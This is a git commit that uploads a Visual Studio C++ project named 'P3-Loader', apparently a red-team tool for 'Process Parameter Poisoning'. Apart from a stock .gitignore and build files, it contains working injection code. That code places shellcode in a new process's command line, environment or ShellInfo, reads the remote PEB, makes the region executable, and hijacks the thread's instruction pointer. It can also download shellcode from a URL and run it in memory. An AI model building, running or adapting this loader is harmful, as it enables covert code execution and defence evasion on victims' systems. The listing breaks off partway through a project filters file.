Uploading VS-Project

This commit is contained in:
Zero2504
2026-04-28 13:49:23 +02:00
commit 4801ce1b7f
16 changed files with 17577 additions and 0 deletions
+429
View File
@@ -0,0 +1,429 @@
## Ignore Visual Studio temporary files, build results, and
## files generated by popular Visual Studio add-ons.
##
## Get latest from https://github.com/github/gitignore/blob/main/VisualStudio.gitignore
# User-specific files
*.rsuser
*.suo
*.user
*.userosscache
*.sln.docstates
*.env
# User-specific files (MonoDevelop/Xamarin Studio)
*.userprefs
# Mono auto generated files
mono_crash.*
# Build results
[Dd]ebug/
[Dd]ebugPublic/
[Rr]elease/
[Rr]eleases/
[Dd]ebug/x64/
[Dd]ebugPublic/x64/
[Rr]elease/x64/
[Rr]eleases/x64/
bin/x64/
obj/x64/
[Dd]ebug/x86/
[Dd]ebugPublic/x86/
[Rr]elease/x86/
[Rr]eleases/x86/
bin/x86/
obj/x86/
[Ww][Ii][Nn]32/
[Aa][Rr][Mm]/
[Aa][Rr][Mm]64/
[Aa][Rr][Mm]64[Ee][Cc]/
bld/
[Oo]bj/
[Oo]ut/
[Ll]og/
[Ll]ogs/
# Build results on 'Bin' directories
**/[Bb]in/*
# Uncomment if you have tasks that rely on *.refresh files to move binaries
# (https://github.com/github/gitignore/pull/3736)
#!**/[Bb]in/*.refresh
# Visual Studio 2015/2017 cache/options directory
.vs/
# Uncomment if you have tasks that create the project's static files in wwwroot
#wwwroot/
# Visual Studio 2017 auto generated files
Generated\ Files/
# MSTest test Results
[Tt]est[Rr]esult*/
[Bb]uild[Ll]og.*
*.trx
# NUnit
*.VisualState.xml
TestResult.xml
nunit-*.xml
# Approval Tests result files
*.received.*
# Build Results of an ATL Project
[Dd]ebugPS/
[Rr]eleasePS/
dlldata.c
# Benchmark Results
BenchmarkDotNet.Artifacts/
# .NET Core
project.lock.json
project.fragment.lock.json
artifacts/
.artifacts/
# ASP.NET Scaffolding
ScaffoldingReadMe.txt
# StyleCop
StyleCopReport.xml
# Files built by Visual Studio
*_i.c
*_p.c
*_h.h
*.ilk
*.meta
*.obj
*.idb
*.iobj
*.pch
*.pdb
*.ipdb
*.pgc
*.pgd
*.rsp
# but not Directory.Build.rsp, as it configures directory-level build defaults
!Directory.Build.rsp
*.sbr
*.tlb
*.tli
*.tlh
*.tmp
*.tmp_proj
*_wpftmp.csproj
*.log
*.tlog
*.vspscc
*.vssscc
.builds
*.pidb
*.svclog
*.scc
# Chutzpah Test files
_Chutzpah*
# Visual C++ cache files
ipch/
*.aps
*.ncb
*.opendb
*.opensdf
*.sdf
*.cachefile
*.VC.db
*.VC.VC.opendb
# Visual Studio profiler
*.psess
*.vsp
*.vspx
*.sap
# Visual Studio Trace Files
*.e2e
# TFS 2012 Local Workspace
$tf/
# Guidance Automation Toolkit
*.gpState
# ReSharper is a .NET coding add-in
_ReSharper*/
*.[Rr]e[Ss]harper
*.DotSettings.user
# TeamCity is a build add-in
_TeamCity*
# DotCover is a Code Coverage Tool
*.dotCover
# AxoCover is a Code Coverage Tool
.axoCover/*
!.axoCover/settings.json
# Coverlet is a free, cross platform Code Coverage Tool
coverage*.json
coverage*.xml
coverage*.info
# Visual Studio code coverage results
*.coverage
*.coveragexml
# NCrunch
_NCrunch_*
.NCrunch_*
.*crunch*.local.xml
nCrunchTemp_*
# MightyMoose
*.mm.*
AutoTest.Net/
# Web workbench (sass)
.sass-cache/
# Installshield output folder
[Ee]xpress/
# DocProject is a documentation generator add-in
DocProject/buildhelp/
DocProject/Help/*.HxT
DocProject/Help/*.HxC
DocProject/Help/*.hhc
DocProject/Help/*.hhk
DocProject/Help/*.hhp
DocProject/Help/Html2
DocProject/Help/html
# Click-Once directory
publish/
# Publish Web Output
*.[Pp]ublish.xml
*.azurePubxml
# Note: Comment the next line if you want to checkin your web deploy settings,
# but database connection strings (with potential passwords) will be unencrypted
*.pubxml
*.publishproj
# Microsoft Azure Web App publish settings. Comment the next line if you want to
# checkin your Azure Web App publish settings, but sensitive information contained
# in these scripts will be unencrypted
PublishScripts/
# NuGet Packages
*.nupkg
# NuGet Symbol Packages
*.snupkg
# The packages folder can be ignored because of Package Restore
**/[Pp]ackages/*
# except build/, which is used as an MSBuild target.
!**/[Pp]ackages/build/
# Uncomment if necessary however generally it will be regenerated when needed
#!**/[Pp]ackages/repositories.config
# NuGet v3's project.json files produces more ignorable files
*.nuget.props
*.nuget.targets
# Microsoft Azure Build Output
csx/
*.build.csdef
# Microsoft Azure Emulator
ecf/
rcf/
# Windows Store app package directories and files
AppPackages/
BundleArtifacts/
Package.StoreAssociation.xml
_pkginfo.txt
*.appx
*.appxbundle
*.appxupload
# Visual Studio cache files
# files ending in .cache can be ignored
*.[Cc]ache
# but keep track of directories ending in .cache
!?*.[Cc]ache/
# Others
ClientBin/
~$*
*~
*.dbmdl
*.dbproj.schemaview
*.jfm
*.pfx
*.publishsettings
orleans.codegen.cs
# Including strong name files can present a security risk
# (https://github.com/github/gitignore/pull/2483#issue-259490424)
#*.snk
# Since there are multiple workflows, uncomment next line to ignore bower_components
# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
#bower_components/
# RIA/Silverlight projects
Generated_Code/
# Backup & report files from converting an old project file
# to a newer Visual Studio version. Backup files are not needed,
# because we have git ;-)
_UpgradeReport_Files/
Backup*/
UpgradeLog*.XML
UpgradeLog*.htm
ServiceFabricBackup/
*.rptproj.bak
# SQL Server files
*.mdf
*.ldf
*.ndf
# Business Intelligence projects
*.rdl.data
*.bim.layout
*.bim_*.settings
*.rptproj.rsuser
*- [Bb]ackup.rdl
*- [Bb]ackup ([0-9]).rdl
*- [Bb]ackup ([0-9][0-9]).rdl
# Microsoft Fakes
FakesAssemblies/
# GhostDoc plugin setting file
*.GhostDoc.xml
# Node.js Tools for Visual Studio
.ntvs_analysis.dat
node_modules/
# Visual Studio 6 build log
*.plg
# Visual Studio 6 workspace options file
*.opt
# Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
*.vbw
# Visual Studio 6 workspace and project file (working project files containing files to include in project)
*.dsw
*.dsp
# Visual Studio 6 technical files
*.ncb
*.aps
# Visual Studio LightSwitch build output
**/*.HTMLClient/GeneratedArtifacts
**/*.DesktopClient/GeneratedArtifacts
**/*.DesktopClient/ModelManifest.xml
**/*.Server/GeneratedArtifacts
**/*.Server/ModelManifest.xml
_Pvt_Extensions
# Paket dependency manager
**/.paket/paket.exe
paket-files/
# FAKE - F# Make
**/.fake/
# CodeRush personal settings
**/.cr/personal
# Python Tools for Visual Studio (PTVS)
**/__pycache__/
*.pyc
# Cake - Uncomment if you are using it
#tools/**
#!tools/packages.config
# Tabs Studio
*.tss
# Telerik's JustMock configuration file
*.jmconfig
# BizTalk build output
*.btp.cs
*.btm.cs
*.odx.cs
*.xsd.cs
# OpenCover UI analysis results
OpenCover/
# Azure Stream Analytics local run output
ASALocalRun/
# MSBuild Binary and Structured Log
*.binlog
MSBuild_Logs/
# AWS SAM Build and Temporary Artifacts folder
.aws-sam
# NVidia Nsight GPU debugger configuration file
*.nvuser
# MFractors (Xamarin productivity tool) working folder
**/.mfractor/
# Local History for Visual Studio
**/.localhistory/
# Visual Studio History (VSHistory) files
.vshistory/
# BeatPulse healthcheck temp database
healthchecksdb
# Backup folder for Package Reference Convert tool in Visual Studio 2017
MigrationBackup/
# Ionide (cross platform F# VS Code tools) working folder
**/.ionide/
# Fody - auto-generated XML schema
FodyWeavers.xsd
# VS Code files for those working on multiple tools
.vscode/*
!.vscode/settings.json
!.vscode/tasks.json
!.vscode/launch.json
!.vscode/extensions.json
!.vscode/*.code-snippets
# Local History for Visual Studio Code
.history/
# Built Visual Studio Code Extensions
*.vsix
# Windows Installer files from build outputs
*.cab
*.msi
*.msix
*.msm
*.msp
+31
View File
@@ -0,0 +1,31 @@
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 17
VisualStudioVersion = 17.14.36717.8 d17.14
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "P3-Loader", "P3-Loader\P3-Loader.vcxproj", "{B63C84FA-6216-425F-8392-AD42FD7A3E8F}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{B63C84FA-6216-425F-8392-AD42FD7A3E8F}.Debug|x64.ActiveCfg = Debug|x64
{B63C84FA-6216-425F-8392-AD42FD7A3E8F}.Debug|x64.Build.0 = Debug|x64
{B63C84FA-6216-425F-8392-AD42FD7A3E8F}.Debug|x86.ActiveCfg = Debug|Win32
{B63C84FA-6216-425F-8392-AD42FD7A3E8F}.Debug|x86.Build.0 = Debug|Win32
{B63C84FA-6216-425F-8392-AD42FD7A3E8F}.Release|x64.ActiveCfg = Release|x64
{B63C84FA-6216-425F-8392-AD42FD7A3E8F}.Release|x64.Build.0 = Release|x64
{B63C84FA-6216-425F-8392-AD42FD7A3E8F}.Release|x86.ActiveCfg = Release|Win32
{B63C84FA-6216-425F-8392-AD42FD7A3E8F}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {C8C1F750-DBF8-4DDB-8BB7-2B09758A010F}
EndGlobalSection
EndGlobal
+72
View File
@@ -0,0 +1,72 @@
#include "HTTPClient.h"
#pragma comment(lib, "wininet.lib")
HTTPClient::HTTPClient(const wchar_t* user_agent)
{
m_hInternet = InternetOpenW(user_agent, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
if (!m_hInternet) {
printf("[-] InternetOpen failed with error: %d\n", GetLastError());
}
}
HTTPClient::~HTTPClient()
{
if (m_hInternet)
InternetCloseHandle(m_hInternet);
}
std::vector<uint8_t> HTTPClient::DownloadURL(const wchar_t* url)
{
std::vector<uint8_t> result;
if (!m_hInternet) {
return result;
}
HINTERNET hInternet_url;
hInternet_url = InternetOpenUrlW(m_hInternet, url, NULL, 0, 0, NULL);
if (!hInternet_url) {
printf("[-] InternetOpenUrlW failed with error: %d\n", GetLastError());
return result;
}
BOOL success;
DWORD status;
DWORD index = 0;
DWORD query_size = sizeof(status);
success = HttpQueryInfoW(hInternet_url, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &status, &query_size, &index);
if (!success) {
printf("[-] HttpQueryInfoW status failed with error: %d\n", GetLastError());
InternetCloseHandle(hInternet_url);
return result;
}
if (query_size != sizeof(status)) {
printf("[-] HttpQueryInfoW status, retrieved too few bytes\n");
InternetCloseHandle(hInternet_url);
return result;
}
if (status != HTTP_STATUS_OK) {
printf("[-] Error HTTP Status: %d\n", status);
InternetCloseHandle(hInternet_url);
return result;
}
uint8_t tempbuf[1024];
DWORD nBytesRead = 0;
do {
nBytesRead = 0;
success = InternetReadFile(hInternet_url, tempbuf, 1024, &nBytesRead);
if (!success) {
printf("[-] InternetReadFile failed with error: %d\n", GetLastError());
InternetCloseHandle(hInternet_url);
return result;
}
result.insert(result.end(), tempbuf, tempbuf + nBytesRead);
} while (nBytesRead == 1024);
InternetCloseHandle(hInternet_url);
return result;
}
+17
View File
@@ -0,0 +1,17 @@
#pragma once
#ifndef HTTP_CLIENT_H
#define HTTP_CLIENT_H
#include <Windows.h>
#include <wininet.h>
#include <vector>
class HTTPClient {
public:
HTTPClient(const wchar_t* user_agent);
~HTTPClient();
std::vector<uint8_t> DownloadURL(const wchar_t* url);
private:
HINTERNET m_hInternet;
};
#endif // HTTP_CLIENT_H
+111
View File
@@ -0,0 +1,111 @@
/**
* Authors: Max Hirschberger & Ogulcan Ugur
* Project: Process Parameter Poisoning
* Notes: Built with ❤️ and undefined behavior.
*/
#include <iostream>
#include <Windows.h>
const WORD ORANGE = FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY;
static const char* kAuthors =
"Authors: Max Hirschberger & Ogulcan Ugur — keep calm and code on.";
// Setting fancy colors
void SetColor(int color) {
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
SetConsoleTextAttribute(hConsole, color);
}
static void PrintHeader(const char* title) {
printf("\n=================================================================\n");
printf(" %s\n", title);
printf("=================================================================\n\n");
}
void PrintLogo() {
wprintf(L"\x1b[2J\x1b[3J");
printf("\n");
printf("+=================================================+\n");
printf("| PPP - Loader |\n");
printf("| |\n");
printf("| Process Parameters Poisoning |\n");
printf("| |\n");
printf("| Created by: Max Hirschberger & Ogulcan Ugur |\n");
printf("| Version: 1.0 |\n");
printf("| |\n");
printf("+=================================================+\n\n");
}
void ShowFunctionMenu(unsigned int* choice, unsigned int* shellExecutionChoice, char* dllPath, wchar_t* lpApplication) {
unsigned int useDefaultApp = 1;
do {
SetColor(ORANGE);
PrintHeader("PEB Shellcode Placement");
printf("\n[?] Choose where to place the shellcode in the PEB (Process Environment Block):\n\n");
printf(" 1) ShellInfo (PEB->ProcessParameters->ShellInfo.Buffer)\n");
printf(" 2) Environment Variable (PEB->ProcessParameters->Environment)\n");
printf(" 3) Command Line (PEB->ProcessParameters->CommandLine.Buffer)\n");
printf("\n[>] Enter selection (1-3): ");
scanf_s("%u", choice);
if (*choice < 1 || *choice > 3) {
SetColor(FOREGROUND_RED);
printf("[-] Invalid choice. Please try again.\n\n");
}
} while (*choice < 1 || *choice > 3);
printf("[+] You selected option %u\n", *choice);
do {
SetColor(ORANGE);
PrintHeader("Function Method");
printf("[?] Choose function method:\n\n");
printf(" 1) Demo: show a MessageBox\n");
printf(" 2) User-supplied shellcode (null bytes supported)\n");
printf(" 3) Load DLL via shellcode (DLL must exist on disk)\n");
printf(" 4) In-memory shellcode from URL\n");
printf("\n[>] Enter selection (1-4): ");
scanf_s("%u", shellExecutionChoice);
if (*shellExecutionChoice < 1 || *shellExecutionChoice > 4) {
SetColor(FOREGROUND_RED);
printf("[-] Invalid choice. Please try again.\n\n");
}
} while (*shellExecutionChoice < 1 || *shellExecutionChoice > 4);
printf("\n[+] You selected option %u\n", *shellExecutionChoice);
if (*shellExecutionChoice == 3) {
printf("\n[*] Example: C:\\Users\\sample.dll ");
printf("\n[!] Please enter full path to DLL: ");
scanf_s("%s", dllPath, MAX_PATH);
}
do {
SetColor(ORANGE);
PrintHeader("Target Application");
wprintf(L"[?] Current default application is: %s\n", lpApplication);
printf("[?] Would you like to change the default application used for shell/DLL launching?\n");
printf(" 1) Keep default\n");
printf(" 2) Change application path\n");
printf("\n[>] Enter selection (1-2): ");
scanf_s("%u", &useDefaultApp);
} while (useDefaultApp < 1 || useDefaultApp > 2);
if (useDefaultApp == 2) {
wprintf(L"\n[!] Please enter full path to Executable: ");
wscanf_s(L" %259[^\n]", lpApplication, MAX_PATH);
getwchar();
}
}
+13
View File
@@ -0,0 +1,13 @@
/*
* File: Menu.h
* Authors: Max Hirschberger & Ogulcan Ugur
*/
#ifndef MENU_H
#define MENU_H
void SetColor(int);
void PrintLogo();
void ShowFunctionMenu(unsigned int*, unsigned int*, char*, wchar_t*);
#endif
+256
View File
@@ -0,0 +1,256 @@
/**
* Authors: Max Hirschberger & Ogulcan Ugur
* Project: Process Parameter Poisoning
* Notes: Built with ❤️ and undefined behavior.
*/
#define STATUS_ACCESS_DENIED 5
#include <iostream>
#include <Windows.h>
#include <vector>
#include <string>
#include <cinttypes>
#include <conio.h>
#include "imports.h"
#include "Menu.h"
#include "ShellCodeWriter.h"
#include "ShellCodeUserInput.h"
#include "WinApiResolver.h"
const WORD ORANGE = FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY;
const WORD BRIGHT_CYAN = FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_INTENSITY;
const WORD LIGHT_GREEN = FOREGROUND_GREEN | FOREGROUND_INTENSITY;
std::vector<uint8_t> BuildShellPayload(int payloadShellcodeChoice, const char* dllPath) {
std::vector<uint8_t> myCode;
myCode.push_back(0x41); // L'A'
myCode.push_back(0x00);
myCode.push_back('='); // L'='
myCode.push_back(0x00);
myCode.insert(myCode.end(), 4096, 0x41);
if (payloadShellcodeChoice == 1) { // Direct MessageBox
ShellCodeWriter w;
w.CallMessageBoxA(0, "Injected by PPP-Shellcode Loader", "Shell code was injected successfully!", 0);
w.CallTerminateProcess(NULL, 0);
std::vector<uint8_t> mbox_sc = w.GetShellCodeBytes();
myCode.insert(myCode.end(), mbox_sc.begin(), mbox_sc.end());
}
else if (payloadShellcodeChoice == 2) { // User supplied ShellCode via LoadAndCallShellCode
std::vector<uint8_t> user_sup_sc = ShellCodeUserInput::GetConsoleInput();
myCode.insert(myCode.end(), user_sup_sc.begin(), user_sup_sc.end());
}
else if (payloadShellcodeChoice == 3) { // Loading On-Disk DLL
ShellCodeWriter w;
w.CallLoadLibraryA(dllPath);
w.CallTerminateProcess(NULL, 0);
std::vector<uint8_t> ll_sc = w.GetShellCodeBytes();
myCode.insert(myCode.end(), ll_sc.begin(), ll_sc.end());
}
else if (payloadShellcodeChoice == 4) { // Downloaded from URL
std::vector<uint8_t> user_sup_sc = ShellCodeUserInput::GetURLInput();
myCode.insert(myCode.end(), user_sup_sc.begin(), user_sup_sc.end());
}
myCode.insert(myCode.end(), 4096, 0x41);
myCode.insert(myCode.end(), 5, 0);
return myCode;
}
NTSTATUS ThreadSetExec(PHANDLE hThread, PVOID shellcode) {
CONTEXT ctx;
ctx = { 0 };
ctx.ContextFlags = CONTEXT_CONTROL; // CONTEXT_CONTROL-Flag is enough
WinApiResolver winapi = WinApiResolver::GetInstance();
if (winapi.LdrControlFlowGuardEnforced()) {
return STATUS_ACCESS_DENIED;
}
NTSTATUS status = 0;
status = winapi.NtGetContextThread(*hThread, &ctx);
if (!NT_SUCCESS(status)) {
SetColor(FOREGROUND_RED);
printf("\n[-] NtGetContextThread failed with Error Code %08x\n", status);
return status;
}
ctx.Rip = (DWORD64)shellcode;
status = winapi.NtSetContextThread(*hThread, &ctx);
if (!NT_SUCCESS(status)) {
SetColor(FOREGROUND_RED);
printf("\n[-] NtSetContextThread failed with Error Code %08x\n", status);
return status;
}
return 0;
}
BOOL CreateProcessWithPoison(int choice, PWCHAR lpApplication, PWCHAR poisonParameter, PPROCESS_INFORMATION pi) {
STARTUPINFOW si = { 0 };
BOOL success;
SetColor(LIGHT_GREEN);
switch (choice) {
case 1:
printf("[~] Writing into ShellInfo...\n");
si.lpReserved = poisonParameter;
success = CreateProcessW(lpApplication, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, pi);
break;
case 2:
printf("[~] Writing into Environment block...\n");
success = CreateProcessW(lpApplication, NULL, NULL, NULL, FALSE, CREATE_UNICODE_ENVIRONMENT, poisonParameter, NULL, &si, pi);
break;
case 3:
printf("[~] Writing into CommandLine...\n");
success = CreateProcessW(lpApplication, poisonParameter, NULL, NULL, FALSE, 0, NULL, NULL, &si, pi);
break;
default:
return FALSE;
}
return success;
}
int wmain(int argc, char** argv) {
PROCESS_INFORMATION pi = { 0 };
BOOL success;
PROCESS_BASIC_INFORMATION pbi;
DWORD retLen;
SIZE_T bytesRead;
PEB pebLocal;
RTL_USER_PROCESS_PARAMETERS parameters = { sizeof(parameters) };
PVOID shellcode = nullptr;
DWORD oldp = 0;
unsigned int choice = 0;
unsigned int payloadShellcodeChoice = 0;
char dllPath[MAX_PATH];
wchar_t lpApplication[MAX_PATH] = L"C:\\Windows\\System32\\winver.exe";
char answer = 0;
SetColor(BRIGHT_CYAN);
PrintLogo();
SetColor(ORANGE);
ShowFunctionMenu(&choice, &payloadShellcodeChoice, dllPath, lpApplication);
std::vector<uint8_t> myPayload = BuildShellPayload(payloadShellcodeChoice, dllPath);
PWCHAR poisonParameter = reinterpret_cast<PWCHAR>(myPayload.data());
success = CreateProcessWithPoison(choice, lpApplication, poisonParameter, &pi);
if (success == FALSE) {
SetColor(FOREGROUND_RED);
printf("[-] Could not call CreateProcess\n");
printf("[!] Error Code: %u\n", GetLastError());
return 1;
}
else {
SetColor(LIGHT_GREEN);
printf("\t[+] Process startet with PID: %u\n", pi.dwProcessId);
}
Sleep(1000); // Run target process a bit before getting the PEB address
WinApiResolver winapi = WinApiResolver::GetInstance();
winapi.NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &retLen);
NTSTATUS status = winapi.NtReadVirtualMemoryEx(
pi.hProcess, // HANDLE to remote process
pbi.PebBaseAddress, // base address to read
&pebLocal, // output buffer
sizeof(pebLocal), // size to read
&bytesRead, // actual bytes read
0 // currently unknown, used 0
);
if (!NT_SUCCESS(status)) {
SetColor(FOREGROUND_RED);
std::wcerr << L"[-] NtReadVirtualMemoryEx failed: 0x" << std::hex << status << std::endl;
return 1;
}
std::wcout << L"\t[+] PEB read successfully via NtReadVirtualMemoryEx, bytes: " << bytesRead << std::endl;
status = winapi.NtReadVirtualMemoryEx(
pi.hProcess, // HANDLE to remote process
pebLocal.ProcessParameters, // base address to read
&parameters, // output buffer
sizeof(parameters), // size to read
&bytesRead, // actual bytes read
0
);
if (!NT_SUCCESS(status)) {
SetColor(FOREGROUND_RED);
std::wcerr << L"[-] NtReadVirtualMemoryEx failed: 0x" << std::hex << status << std::endl;
return 1;
}
switch (choice) {
case 1:
shellcode = (uint8_t*)(parameters.ShellInfo.Buffer) + 4 + 4096;
break;
case 2:
shellcode = (uint8_t*)(parameters.Environment) + 4 + 4096;;
break;
case 3:
shellcode = (uint8_t*)(parameters.CommandLine.Buffer) + 4 + 4096;
break;
default:
printf("[-] Invalid choice.\n");
return 1;
}
printf("\n");
SetColor(ORANGE);
printf("[!] Shellcode is at 0x%p\n", shellcode);
PVOID base = shellcode;
SIZE_T shellcodeSize = myPayload.size() - 4 /* L"A=" */ - 8192 /* 2x Page Size */ - 5 /* env zero terminator */;
status = winapi.NtProtectVirtualMemory(pi.hProcess, &base, &shellcodeSize, PAGE_EXECUTE_READ, &oldp);
if (!NT_SUCCESS(status)) {
std::wcerr << L"[-] NtProtectVirtualMemory failed: 0x" << std::hex << status << std::dec << L"\n";
return 1;
}
printf("\t[*] Press any key to fire the Shellcode");
_getch();
status = ThreadSetExec(&pi.hThread, shellcode);
if (!NT_SUCCESS(status)) {
std::wcerr << L"[-] ThreadSetExec failed: 0x" << std::hex << status << std::dec << L"\n";
return 1;
}
std::wcout << L"\n\t[+] Actions succeeded, exiting.\n";
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 0;
}
+144
View File
@@ -0,0 +1,144 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>17.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{b63c84fa-6216-425f-8392-ad42fd7a3e8f}</ProjectGuid>
<RootNamespace>P3Loader</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="HTTPClient.cpp" />
<ClCompile Include="Menu.cpp" />
<ClCompile Include="P3-Loader.cpp" />
<ClCompile Include="ShellCodeUserInput.cpp" />
<ClCompile Include="ShellCodeWriter.cpp" />
<ClCompile Include="WinApiResolver.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="HTTPClient.h" />
<ClInclude Include="imports.h" />
<ClInclude Include="Menu.h" />
<ClInclude Include="ShellCodeUserInput.h" />
<ClInclude Include="ShellCodeWriter.h" />
<ClInclude Include="WinApiResolver.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
+57
View File
@@ -0,0 +1,57 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
